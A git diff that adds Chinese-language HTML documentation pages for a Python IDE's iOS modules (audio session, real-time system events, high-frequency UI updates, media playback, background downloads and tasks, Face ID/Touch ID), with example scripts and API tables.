+    options=["defaultToSpeaker", "mixWithOthers"],
+)
+audio_session.set_active(True)
+
+
+

#AppUI 示例

+

类别切换和路由查询放在按钮回调。

+
+
+ python +
+
+
import appui
+import audio_session
+
+state = appui.State(
+    category="未设置",
+    outputs="—",
+    status="点击按钮配置音频会话",
+)
+
+
+def refresh_route():
+    try:
+        route = audio_session.current_route() or {}
+        outs = route.get("outputs") or []
+        if outs:
+            names = [o.get("name", "?") for o in outs]
+            state.outputs = " · ".join(names)
+        else:
+            state.outputs = "无输出设备"
+    except audio_session.AudioSessionError as exc:
+        state.outputs = f"查询失败: {exc}"
+
+
+def use_playback():
+    try:
+        audio_session.set_category("playback", options=["mixWithOthers"])
+        audio_session.set_active(True)
+        state.batch_update(category="playback", status="已切换为播放模式")
+        refresh_route()
+    except audio_session.AudioSessionError as exc:
+        state.status = f"失败: {exc}"
+
+
+def use_record():
+    try:
+        audio_session.set_category(
+            "playAndRecord",
+            options=["defaultToSpeaker"],
+        )
+        audio_session.set_active(True)
+        state.batch_update(category="playAndRecord", status="已切换为录音模式")
+        refresh_route()
+    except audio_session.AudioSessionError as exc:
+        state.status = f"失败: {exc}"
+
+
+def deactivate():
+    try:
+        audio_session.set_active(False)
+        state.status = "会话已停用"
+    except audio_session.AudioSessionError as exc:
+        state.status = f"停用失败: {exc}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("当前状态", [
+                appui.LabeledContent("类别", value=state.category),
+                appui.LabeledContent("输出路由", value=state.outputs),
+            ]),
+            appui.Section("操作", [
+                appui.Button("播放模式", action=use_playback)
+                .button_style("bordered_prominent"),
+                appui.Button("录音模式", action=use_record),
+                appui.Button("刷新路由", action=refresh_route),
+                appui.Button("停用会话", action=deactivate, role="destructive"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="切换类别会影响其他正在播放的音频。"),
+        ]).navigation_title("音频会话")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
set_category(category, mode, options)设置音频类别
set_active(active)激活 / 停用会话
current_route()当前输入/输出路由
AudioSessionError配置失败时抛出
+

#set_category

+

set_category(category, mode=None, options=None)

+
category说明
playback后台播放(默认回退值)
record仅录音
playAndRecord / play_and_record播放 + 录音
ambient与其他 App 混音
soloAmbient / solo_ambient独占环境音
multiRoute多路由
+
mode说明
voiceChat / voice_chat语音通话
videoChat / video_chat视频通话
spokenAudio / spoken_audio有声内容
measurement测量
default默认
+
options说明
mixWithOthers与其他 App 混音
duckOthers压低其他 App 音量
defaultToSpeaker默认外放扬声器
bluetooth允许蓝牙
airplay允许 AirPlay
+

#set_active

+

set_active(active=True) — 激活或停用共享音频会话。

+

#current_route

+

current_route() 返回:

+
+
+ python +
+
+
{
+    "inputs": [{"name": "...", "type": "..."}],
+    "outputs": [{"name": "...", "type": "..."}],
+}
+
+
+

#常见错误

+
错误写法后果修正
body() 里反复 set_category每次刷新都改全局音频放进按钮或启动回调
录音前不设 playAndRecord录音无声或路由错误录音前配置类别
audio_recorder 类别冲突启动失败或无声统一在录音前设好类别
忘记 set_active(True)配置不生效类别后激活会话
+
+

#相关文档

+
文档用途
sound播放音效
avplayer音视频播放
audio_recorder麦克风录音
speech语音合成
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/aurora-system/index.html b/docs/docs/pages/aurora-system/index.html new file mode 100644 index 0000000..3b0537d --- /dev/null +++ b/docs/docs/pages/aurora-system/index.html @@ -0,0 +1,333 @@ + + + + + + Aurora System - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

Aurora System

+

相机、照片、传感器、音频和系统状态的实时事件入口。

+
+ +
+

相机、照片、传感器、音频和系统状态的实时事件入口。

+

#预期效果

+

示例会展示系统实时事件如何启动、收到回调并在结束时停止监听。

+

#适用场景

+

Aurora 原生实时信号入口,用于相机、照片、传感器、音频、键盘高度和深浅色变化。

+

#标准示例

+
+
+ python +
+
+
import aurora_system
+
+def handle_keyboard(height):
+    print("keyboard height", height)
+
+aurora_system.on_keyboard_height(handle_keyboard)
+aurora_system.system_state_setup()
+# Later, when the page closes:
+aurora_system.system_state_teardown()
+
+

#API 参考

+
类型API签名说明
functioncamera_setupcamera_setup(position: str=...) -> bool初始化相机会话,position 常用 "back""front"
functioncamera_capturecamera_capture(callback: Callable[[str], None] \| None=...) -> bool触发拍照,结果路径交给回调或 on_camera_result
functioncamera_teardowncamera_teardown() -> Any停止相机并释放资源。
functionphotos_pickphotos_pick(callback: Callable[[list[str]], None] \| None=..., limit: int=..., filter: str=...) -> bool打开系统相册选择器。
functionon_photos_pickedon_photos_picked(callback: Callable[[list[str]], None]) -> Any注册相册选择结果回调。
functionsensor_startsensor_start(hz: float=...) -> Any按指定频率启动陀螺仪和加速度数据流。
functionsensor_stopsensor_stop() -> Any停止传感器数据流。
functionaudio_startaudio_start(handle_base: int=...) -> bool启动麦克风采样并推送音频频段数据。
functionaudio_stopaudio_stop() -> bool停止麦克风采样并释放资源。
functionsystem_state_setupsystem_state_setup() -> Any开始监听键盘高度和界面深浅色变化。
functionsystem_state_teardownsystem_state_teardown() -> Any停止监听系统状态。
functionon_camera_resulton_camera_result(callback: Callable[[str], None]) -> Any注册相机结果回调。
functionon_keyboard_heighton_keyboard_height(callback: Callable[[float], None]) -> Any注册键盘高度变化回调。
functionon_style_changeon_style_change(callback: Callable[[str], None]) -> Any注册浅色/深色界面变化回调。
+

#失败路径

+
情况应该怎么处理
没有收到事件确认已调用对应 setup/start 函数,并在退出时调用 teardown/stop。
权限未授权先用 permission 查询或请求权限,再启动实时事件。
事件过于频繁只保存需要展示的字段,必要时节流更新 AppUI 状态。
页面关闭后仍回调在关闭、停止或异常路径里释放监听。
+

#使用规则

+
  • 所有 setup/start 都要有 teardown/stop。
  • 回调用命名函数,不要用 lambda 作为长期监听。
  • 不要在回调里反复 appui.run() 或重建界面。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/aurora-toolkit/index.html b/docs/docs/pages/aurora-toolkit/index.html new file mode 100644 index 0000000..a88d88b --- /dev/null +++ b/docs/docs/pages/aurora-toolkit/index.html @@ -0,0 +1,379 @@ + + + + + + Aurora Toolkit - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

Aurora Toolkit

+

AppUI 高频更新组件、批量刷新、回调和实时可视化工具。

+
+ +
+

AppUI 高频更新组件、批量刷新、回调和实时可视化工具。

+

#预期效果

+

示例会展示实时更新工具如何批量刷新状态、减少高频 UI 更新的重复工作。

+

#适用场景

+

AppUI 高频更新工具,只更新已有稳定 id 的节点。

+

#标准示例

+
+
+ python +
+
+
from aurora_toolkit import AuroraLabel, AuroraProgress, frame_batch
+
+label = AuroraLabel("summary", text="Ready")
+progress = AuroraProgress("progress", value=0.0)
+label.bind()
+progress.bind()
+
+with frame_batch():
+    label.text = "Working"
+    progress.value = 0.5
+
+

#高频仪表盘示例

+

普通 AppUI 负责稳定结构,Aurora 负责高频数值。下面的 appui.Slider(value=0.0, ...) 是首屏结构占位;连续更新交给 AuroraSliderGroupAuroraTextGroup

+
+
+ python +
+
+
import appui
+from aurora_toolkit import AuroraSliderGroup, AuroraTextGroup, frame_batch
+
+metrics = [
+    {"id": "cpu", "title": "CPU"},
+    {"id": "memory", "title": "Memory"},
+    {"id": "network", "title": "Network"},
+]
+sliders = AuroraSliderGroup("metric.slider", len(metrics))
+labels = AuroraTextGroup("metric.label", len(metrics))
+
+
+def metric_key(metric):
+    return metric["id"]
+
+
+def metric_row(metric):
+    index = metrics.index(metric)
+    return appui.VStack([
+        appui.Text(metric["title"]).id(f"metric.{index}.label"),
+        appui.Slider(value=0.0, minimum=0, maximum=1).id(f"metric.{index}"),
+    ], spacing=6)
+
+
+def push_frame(values):
+    with frame_batch():
+        for index, value in enumerate(values):
+            sliders[index] = value
+            labels[index] = f"{metrics[index]['title']} {value:.0%}"
+
+
+def body():
+    return appui.List([
+        appui.Section("Live", [
+            appui.ForEach(metrics, row_builder=metric_row, key=metric_key)
+        ])
+    ]).navigation_title("Realtime")
+
+

#API 参考

+
类型API签名说明
functionframe_batchframe_batch() -> Any把同一帧里的多次更新合并提交,适合进度、数值和实时状态。
functionbegin_framebegin_frame() -> Any手动开始一组批量更新,适合已有循环里控制提交时机。
functionend_frameend_frame() -> None结束并提交 begin_frame 开始的更新。
functioncallbackcallback(event_id: str)为 Aurora 控件注册事件回调。
classAuroraSliderAuroraSlider(node_id: str, value: float=...)更新滑块数值。
classAuroraGaugeAuroraGauge(node_id: str, value: float=...)更新仪表盘或数字指标。
classAuroraProgressAuroraProgress(node_id: str, value: float=...)更新进度条。
classAuroraStepperAuroraStepper(node_id: str, value: int=..., minimum: int=..., maximum: int=..., step: int=...)更新步进器数值。
classAuroraLabelAuroraLabel(node_id: str, text: str=..., text_color: Optional[str]=...)更新文字内容和文字颜色。
classAuroraTextFieldAuroraTextField(node_id: str, text: str=..., placeholder: str=...)更新输入框文字和占位内容。
classAuroraToggleAuroraToggle(node_id: str, is_on: bool=...)更新开关状态。
classAuroraViewAuroraView(node_id: str, opacity: float=..., offset_x: float=..., offset_y: float=..., scale: float=..., rotation: float=...)更新视图透明度、位移、缩放和旋转。
classAuroraPickerAuroraPicker(node_id: str, selection: int=..., options: Optional[list[str]]=...)更新选择器当前项。
classAuroraDatePickerAuroraDatePicker(node_id: str, timestamp: float=...)更新日期选择器时间。
classAuroraColorPickerAuroraColorPicker(node_id: str, r: int=..., g: int=..., b: int=..., a: int=...)更新颜色选择器。
classAuroraSearchFieldAuroraSearchField(node_id: str, query: str=...)更新搜索框内容。
classAuroraSecureFieldAuroraSecureField(node_id: str, text: str=...)更新安全输入框内容。
classAuroraTextEditorAuroraTextEditor(node_id: str, text: str=...)更新多行文本内容。
classAuroraButtonAuroraButton(node_id: str, title: str=..., callback_id: str=...)更新按钮标题并绑定回调。
classAuroraImageAuroraImage(node_id: str, system_name: str=...)更新系统图标名称。
classAuroraLinkAuroraLink(node_id: str, url: str=...)更新链接地址。
classAuroraGaugeBarAuroraGaugeBar(node_id: str, value: float=..., min_val: float=..., max_val: float=...)更新带范围的指标条。
classAuroraBadgeAuroraBadge(node_id: str, count: int=...)更新角标数字。
classAuroraSegmentedControlAuroraSegmentedControl(node_id: str, selection: int=..., segments: Optional[list[str]]=...)更新分段控件选中项。
classAuroraSliderGroupAuroraSliderGroup(prefix: str, count: int)批量更新一组滑块或数值控件。
classAuroraTextGroupAuroraTextGroup(prefix: str, count: int)批量更新一组文本节点。
classAuroraImageGroupAuroraImageGroup(prefix: str, count: int)批量更新一组系统图标。
classAuroraToggleGroupAuroraToggleGroup(prefix: str, count: int)批量更新一组开关。
classAuroraIntGroupAuroraIntGroup(prefix: str, count: int)批量更新一组整数选择值。
classAuroraColorGroupAuroraColorGroup(prefix: str, count: int)批量更新一组颜色值。
classAuroraPointGroupAuroraPointGroup(prefix: str, count: int)批量更新一组地图点位。
classAuroraAudioGroupAuroraAudioGroup(band_count: int=...)读取实时音频频段数据,用于音频可视化。
classAuroraMapAuroraMap(node_id: str, lat: float=..., lon: float=..., span: float=...)更新地图中心、缩放范围和大量标记点。
classAuroraNavigatorAuroraNavigator(node_id: str=...)控制轻量页面跳转。
+

#失败路径

+
情况应该怎么处理
高频更新仍卡顿减少每次更新的字段数量,批量提交相关变化。
状态不同步确认 UI 展示只读取同一份状态,不混用临时副本。
页面结构变化频繁结构变化交给普通 AppUI 重建,实时工具只处理已有控件的属性变化。
调试困难先降到普通 State 写法,确认逻辑正确后再接入实时更新。
+

#使用规则

+
  • 首屏结构仍用 appui 构建,Aurora 只负责高频值。
  • 批量写入用 frame_batch。
  • 普通低频表单不要过早使用 Aurora。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/avplayer-module/index.html b/docs/docs/pages/avplayer-module/index.html new file mode 100644 index 0000000..2d05a47 --- /dev/null +++ b/docs/docs/pages/avplayer-module/index.html @@ -0,0 +1,499 @@ + + + + + + avplayer - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

avplayer

+

音视频加载、播放控制和原生播放器。

+
+ +
+

脚本级音视频播放:加载远程/本地 URL、播放控制、跳转、调速与系统视频播放器。

+
边界:底层 AVPlayer 能力,适合纯脚本或非 AppUI 场景。AppUI 页面内嵌视频请用 AppUI 媒体控件VideoPlayer / PlayerController;短音效用 sound。切换媒体或离开页面时调用 cleanup()
+

#模块概览

+
说明
导入import avplayer
适合做什么播放 URL 流、脚本内播放控制、弹出系统视频播放器
调用时机加载/播放在按钮回调;页面关闭时 cleanup()
推荐顺序load(url) 成功 → play() → 控制 → cleanup()
与 AppUI不要混用 avplayerappui.VideoPlayer 控制同一媒体
+
+

#快速开始

+

下面脚本加载示例流、播放并清理:

+
+
+ python +
+
+
import avplayer
+
+url = (
+    "https://devstreaming-cdn.apple.com/videos/streaming/examples/"
+    "img_bipbop_adv_example_ts/master.m3u8"
+)
+
+if avplayer.load(url):
+    avplayer.set_volume(0.8)
+    avplayer.play()
+    print("时长:", avplayer.duration(), "秒")
+    print("当前:", avplayer.current_time(), "秒")
+    avplayer.pause()
+    avplayer.cleanup()
+else:
+    print("媒体加载失败")
+
+
+

#AppUI 示例

+

脚本级播放控制演示;AppUI 内嵌视频请改用 PlayerController

+
+
+ python +
+
+
import appui
+import avplayer
+
+DEMO_URL = (
+    "https://devstreaming-cdn.apple.com/videos/streaming/examples/"
+    "img_bipbop_adv_example_ts/master.m3u8"
+)
+
+state = appui.State(
+    status="未加载",
+    position="0:00",
+    duration="—",
+    loaded=False,
+)
+
+
+def _format_time(seconds):
+    seconds = max(0, int(seconds))
+    return f"{seconds // 60}:{seconds % 60:02d}"
+
+
+def load_media():
+    ok = avplayer.load(DEMO_URL)
+    state.loaded = ok
+    if ok:
+        dur = avplayer.duration()
+        state.batch_update(
+            status="已加载",
+            duration=_format_time(dur) if dur else "—",
+            position="0:00",
+        )
+    else:
+        state.batch_update(status="加载失败", loaded=False)
+
+
+def play_media():
+    if not state.loaded:
+        state.status = "请先加载媒体"
+        return
+    avplayer.play()
+    state.status = "播放中"
+
+
+def pause_media():
+    avplayer.pause()
+    state.status = "已暂停"
+
+
+def refresh_position():
+    if not state.loaded:
+        return
+    state.position = _format_time(avplayer.current_time())
+    if avplayer.is_playing():
+        state.status = "播放中"
+    dur = avplayer.duration()
+    if dur:
+        state.duration = _format_time(dur)
+
+
+def present_player():
+    if not state.loaded:
+        state.status = "请先加载媒体"
+        return
+    avplayer.present_video()
+    state.status = "已打开系统播放器"
+
+
+def cleanup_media():
+    avplayer.cleanup()
+    state.batch_update(
+        loaded=False,
+        status="已清理",
+        position="0:00",
+        duration="—",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("媒体", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("进度", value=f"{state.position} / {state.duration}"),
+            ]),
+            appui.Section("控制", [
+                appui.Button("加载示例流", action=load_media)
+                .button_style("bordered_prominent"),
+                appui.Button("播放", action=play_media),
+                appui.Button("暂停", action=pause_media),
+                appui.Button("刷新进度", action=refresh_position),
+                appui.Button("系统视频播放器", action=present_player),
+                appui.Button("清理资源", action=cleanup_media, role="destructive"),
+            ], footer="需要网络;HLS 示例流仅供演示。"),
+        ]).navigation_title("音视频播放")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
load(url)加载媒体 → bool
play() / pause() / stop()播放控制
seek(seconds)跳转到指定秒数
duration() / current_time()总时长 / 当前位置(秒)
is_playing()是否正在播放
set_volume(v) / set_rate(r)音量 / 倍速
present_video()弹出系统视频播放器
cleanup()释放资源
+

#模块级播放

+
+
+ python +
+
+
import avplayer
+
+if avplayer.load("https://example.com/audio.mp3"):
+    avplayer.set_volume(0.8)
+    avplayer.set_rate(1.0)
+    avplayer.play()
+    avplayer.seek(30)
+    avplayer.pause()
+    avplayer.cleanup()
+
+
API说明
load(url)成功返回 True;失败不要调用播放
duration()未准备好时可能为 0
present_video()仅适合视频;音频不要用
cleanup()切换媒体或脚本结束前调用
+

#命名实例 Player

+

多路播放或脚本隔离时用 Player(id="main")

+
+
+ python +
+
+
player = avplayer.Player(id="main")
+player.load(url)
+player.play()
+print(player.duration(), player.current_time())
+player.cleanup()
+
+

方法与模块级函数相同,另支持 on_progresson_endon_error 等回调(高级场景)。

+

#与 AppUI 的分工

+
场景推荐
AppUI 页面内嵌视频appui.PlayerController + appui.VideoPlayer
纯脚本 / 兼容旧代码avplayer
短音效sound
+
+
+ python +
+
+
import appui
+
+player = appui.PlayerController(id="main", url="https://example.com/video.m3u8")
+
+def body():
+    return appui.VideoPlayer(player=player)
+
+
+

#常见错误

+
错误写法后果修正
loadplay()无媒体可播先检查 load(url)
音频文件 present_video()界面不合适仅视频使用
退出不 cleanup()资源占用切换或关闭时清理
AppUI 混用两套 API状态冲突选一种方案
+
+

#相关文档

+
文档用途
AppUI 媒体控件页面内 VideoPlayer
sound短音效与本地音频
network下载媒体到本地
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/background-download-module/index.html b/docs/docs/pages/background-download-module/index.html new file mode 100644 index 0000000..4a80a43 --- /dev/null +++ b/docs/docs/pages/background-download-module/index.html @@ -0,0 +1,474 @@ + + + + + + background_download - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

background_download

+

后台 URLSession 大文件下载。

+
+ +
+

后台 URLSession 大文件下载:App 进入后台后仍可继续,适合较大文件。

+
边界:使用系统后台 URLSession,通过 task_id 轮询 status() 获取结果。前台小文件下载请用 networkdownload()destination_path 需为 App 可写路径;下载启动放在按钮回调,不要在 body() 里自动发起。
+

#模块概览

+
说明
导入import background_download
适合做什么大 JSON/媒体包后台拉取、断点续传式后台任务
调用时机用户确认后 download();用 Timer 或按钮轮询 status()
推荐顺序download()task_id → 轮询 status() → 读 path
状态机runningcompleted / failed / cancelled
+
+

#快速开始

+

下面脚本发起下载并轮询状态:

+
+
+ python +
+
+
import os
+import time
+import background_download
+
+dest = os.path.join(os.path.expanduser("~/Documents"), "httpbin.json")
+
+try:
+    task_id = background_download.download(
+        "https://httpbin.org/json",
+        dest,
+    )
+    print("任务:", task_id)
+
+    for _ in range(30):
+        st = background_download.status(task_id)
+        print(st.get("state"), st.get("progress"))
+        if st.get("state") in ("completed", "failed", "cancelled"):
+            break
+        time.sleep(1)
+
+    if st.get("state") == "completed":
+        print("已保存:", st.get("path"))
+    elif st.get("error"):
+        print("失败:", st.get("error"))
+except background_download.BackgroundDownloadError as exc:
+    print("下载失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

下载和轮询放在按钮回调;用 Timer 刷新进度状态。

+
+
+ python +
+
+
import appui
+import os
+import background_download
+
+DEST = os.path.join(os.path.expanduser("~/Documents"), "demo-download.json")
+URL = "https://httpbin.org/json"
+
+state = appui.State(
+    task_id="",
+    dl_state="空闲",
+    progress="—",
+    status="点击开始下载",
+)
+
+
+def poll():
+    if not state.task_id:
+        return
+    try:
+        st = background_download.status(state.task_id) or {}
+        dl_state = st.get("state", "unknown")
+        prog = st.get("progress", 0.0)
+        state.batch_update(
+            dl_state=dl_state,
+            progress=f"{float(prog) * 100:.0f}%",
+        )
+        if dl_state == "completed":
+            poll_timer.stop()
+            state.status = f"完成: {st.get('path', DEST)}"
+        elif dl_state == "failed":
+            poll_timer.stop()
+            state.status = f"失败: {st.get('error', '未知错误')}"
+        elif dl_state == "cancelled":
+            poll_timer.stop()
+            state.status = "已取消"
+    except background_download.BackgroundDownloadError as exc:
+        poll_timer.stop()
+        state.status = f"查询失败: {exc}"
+
+
+poll_timer = appui.Timer(interval=0.5, repeats=True, action=poll)
+
+
+def start_download():
+    try:
+        task_id = background_download.download(URL, DEST)
+        state.batch_update(
+            task_id=task_id or "",
+            dl_state="running",
+            progress="0%",
+            status="下载中…",
+        )
+        poll_timer.start()
+    except background_download.BackgroundDownloadError as exc:
+        state.status = f"启动失败: {exc}"
+
+
+def cancel_download():
+    if not state.task_id:
+        return
+    try:
+        background_download.cancel(state.task_id)
+        poll_timer.stop()
+        state.batch_update(dl_state="cancelled", status="已请求取消")
+    except background_download.BackgroundDownloadError as exc:
+        state.status = f"取消失败: {exc}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("任务", [
+                appui.LabeledContent("状态", value=state.dl_state),
+                appui.LabeledContent("进度", value=state.progress),
+                appui.Text(state.task_id or "—")
+                .font("caption")
+                .foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("开始后台下载", action=start_download)
+                .button_style("bordered_prominent"),
+                appui.Button("取消", action=cancel_download, role="destructive"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="需网络;大文件更适合后台下载。"),
+        ]).navigation_title("后台下载")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
download(url, destination_path, task_id)开始下载 → task_id
status(task_id){state, progress, path, error}
cancel(task_id)取消任务
BackgroundDownloadError操作失败时抛出
+

#download

+

download(url, destination_path, task_id=None)

+
+
+ python +
+
+
task_id = background_download.download(
+    "https://example.com/file.zip",
+    "/path/to/save.zip",
+)
+
+
参数说明
url下载地址
destination_path保存路径(App 可写)
task_id可选自定义 ID;省略时自动生成 UUID
+

#status

+

status(task_id) 返回:

+
字段说明
staterunning / completed / failed / cancelled / unknown
progress0.0–1.0(完成时为 1.0)
path目标路径(完成后有效)
error失败时的错误信息
+

建议轮询间隔 ≥ 0.5 秒。

+

#cancel

+

cancel(task_id) — 取消进行中的任务,状态变为 cancelled

+
+

#常见错误

+
错误写法后果修正
body()download()刷新时重复下载放进按钮回调
destination_path 不可写移动文件失败用 Documents 等沙盒路径
不轮询 status()不知道何时完成Timer 或循环查询
小文件也用后台下载过度复杂前台用 network
+
+

#相关文档

+
文档用途
network前台 HTTP / 小文件下载
background后台任务保活
storage记录 task_id 等元数据
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/background-module/index.html b/docs/docs/pages/background-module/index.html new file mode 100644 index 0000000..4473101 --- /dev/null +++ b/docs/docs/pages/background-module/index.html @@ -0,0 +1,421 @@ + + + + + + background - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

background

+

后台任务、保活与 BGTask 调度。

+
+ +
+

后台任务:申请延长执行时间、查询剩余时间、调度 BackgroundTasks。

+
边界:iOS 后台时间有限(begin_task 约 30 秒);schedule_refresh / schedule_processing 需 App 配置对应 BGTask 标识符。不含 background_download 大文件下载。
+

#模块概览

+
说明
导入import background
调用时机长任务前 begin_task(),结束 end_task()
适合做什么保存前进度.flush、短同步、注册后台刷新
推荐顺序begin_task() → 工作 → end_task()
状态app_state()active / inactive / background
+
+

#快速开始

+

申请后台时间并查询剩余秒数:

+
+
+ python +
+
+
import background
+import time
+
+if background.begin_task():
+    try:
+        print("应用状态:", background.app_state())
+        print("剩余秒数:", background.remaining_time())
+        time.sleep(2)
+    finally:
+        background.end_task()
+else:
+    print("无法申请后台任务")
+
+

调度后台刷新(需工程内注册 identifier):

+
+
+ python +
+
+
import background
+
+ok = background.schedule_refresh("com.myapp.refresh")
+print("已调度" if ok else "调度失败")
+
+
+

#AppUI 示例

+
+
+ python +
+
+
import appui
+import background
+
+state = appui.State(
+    app_state="—",
+    remaining="—",
+    task="未开始",
+)
+
+
+def refresh_status():
+    state.app_state = background.app_state()
+    state.remaining = f"{background.remaining_time():.1f}s"
+
+
+def start_task():
+    ok = background.begin_task()
+    refresh_status()
+    state.task = "进行中" if ok else "申请失败"
+
+
+def end_task():
+    background.end_task()
+    refresh_status()
+    state.task = "已结束"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("后台任务", [
+                appui.Button("申请延长执行", action=start_task)
+                .button_style("bordered_prominent"),
+                appui.Button("结束任务", action=end_task),
+                appui.Button("刷新状态", action=refresh_status),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("应用状态", value=state.app_state),
+                appui.LabeledContent("剩余时间", value=state.remaining),
+                appui.LabeledContent("任务", value=state.task),
+            ]),
+        ]).navigation_title("后台任务")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
begin_task()申请延长后台时间 → bool
end_task()提前结束
remaining_time()剩余秒数 → float
app_state()active / inactive / background
start_keep_alive() / stop_keep_alive()音频保活(慎用)
schedule_refresh(id, earliest_date=0)调度 BGAppRefreshTask
schedule_processing(id, earliest_date=0, requires_network=False, requires_charging=False)调度 BGProcessingTask
+

#延长执行

+
+
+ python +
+
+
background.begin_task()
+# ... 短任务 ...
+background.end_task()
+
+

earliest_date 为 Unix 时间戳;0 表示约 15 分钟后最早触发。

+

#保活

+

start_keep_alive() — 启用后台音频会话以延长存活;会消耗电量,仅在有明确需求时使用。

+
+

#常见错误

+
错误写法后果修正
begin_task 后忘记 end_task浪费系统配额try/finally
在后台跑长计算被系统终止拆任务或用 schedule_processing
未注册 BGTask 标识符schedule_* 失败在 Xcode 工程配置
与 background_download 混淆能力不同大文件下载用专用模块
+
+

#相关文档

+
文档用途
background_download后台 URL 下载
audio_session音频会话(保活相关)
notification本地提醒
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/biometric-module/index.html b/docs/docs/pages/biometric-module/index.html new file mode 100644 index 0000000..1e2434d --- /dev/null +++ b/docs/docs/pages/biometric-module/index.html @@ -0,0 +1,452 @@ + + + + + + biometric - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

biometric

+

Face ID / Touch ID 验证。

+
+ +
+

Face ID / Touch ID 本机身份确认,支持设备密码回退。

+
边界:只证明当前设备用户通过了系统认证,不能替代服务器登录。敏感数据仍用 keychain 保存,不要放进 storage。认证必须由用户动作触发,不要在 body() 里调用。
+

#模块概览

+
说明
导入import biometric
适合做什么打开安全笔记、API Key 页、隐私设置前的二次确认
调用时机放在按钮回调;用户取消后不要循环弹窗
推荐顺序is_available()authenticate_with_passcode(reason) → 检查 result["success"]
结果判断result.get("success"),不要把整个 dict 当 bool
+
+

#快速开始

+

下面脚本检查设备能力并尝试解锁:

+
+
+ python +
+
+
import biometric
+
+print("类型:", biometric.biometric_type())  # face_id / touch_id / none
+print("可用:", biometric.is_available())
+
+if biometric.is_available():
+    result = biometric.authenticate_with_passcode("解锁安全笔记")
+    if result.get("success"):
+        print("已解锁")
+    else:
+        print("失败:", result.get("error", "用户取消"))
+else:
+    print("当前设备不可用生物认证")
+
+
+

#AppUI 示例

+

认证由按钮触发;成功、取消、失败都写回界面,不打印敏感内容。

+
+
+ python +
+
+
import appui
+import biometric
+
+TYPE_LABELS = {
+    "face_id": "Face ID",
+    "touch_id": "Touch ID",
+    "none": "不可用",
+}
+
+state = appui.State(
+    status="未验证",
+    bio_type=TYPE_LABELS.get(biometric.biometric_type(), "未知"),
+    available="是" if biometric.is_available() else "否",
+    message="点击按钮开始验证",
+)
+
+
+def unlock_biometric_only():
+    if not biometric.is_available():
+        state.message = "生物认证不可用,请检查系统设置"
+        return
+    result = biometric.authenticate("验证身份以继续")
+    _apply_result(result, "仅生物认证")
+
+
+def unlock_with_passcode():
+    if not biometric.is_available():
+        state.message = "生物认证不可用,请检查系统设置"
+        return
+    result = biometric.authenticate_with_passcode("验证身份以继续")
+    _apply_result(result, "生物认证或设备密码")
+
+
+def _apply_result(result, mode):
+    if result.get("success"):
+        state.batch_update(
+            status="已解锁",
+            message=f"{mode} · 认证成功",
+        )
+    else:
+        state.batch_update(
+            status="未解锁",
+            message=result.get("error", "用户取消或认证失败"),
+        )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("设备", [
+                appui.LabeledContent("类型", value=state.bio_type),
+                appui.LabeledContent("可用", value=state.available),
+            ]),
+            appui.Section("验证", [
+                appui.Button("Face ID / Touch ID 解锁", action=unlock_biometric_only)
+                .button_style("bordered_prominent"),
+                appui.Button("允许设备密码回退", action=unlock_with_passcode),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("结果", value=state.status),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("生物认证")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
biometric_type()返回 face_id / touch_id / none
is_available()设备与系统设置是否可用
authenticate(reason)仅 Face ID / Touch ID
authenticate_with_passcode(reason)生物认证 + 设备密码回退
+

#设备能力

+

biometric_type() — 当前支持的生物认证类型。

+

is_available() — 能否发起认证(硬件 + 系统设置均就绪)。

+
+
+ python +
+
+
import biometric
+
+bio = biometric.biometric_type()
+if biometric.is_available():
+    ...
+
+

#认证

+

authenticate(reason) — 只使用 Face ID / Touch ID,无密码回退。

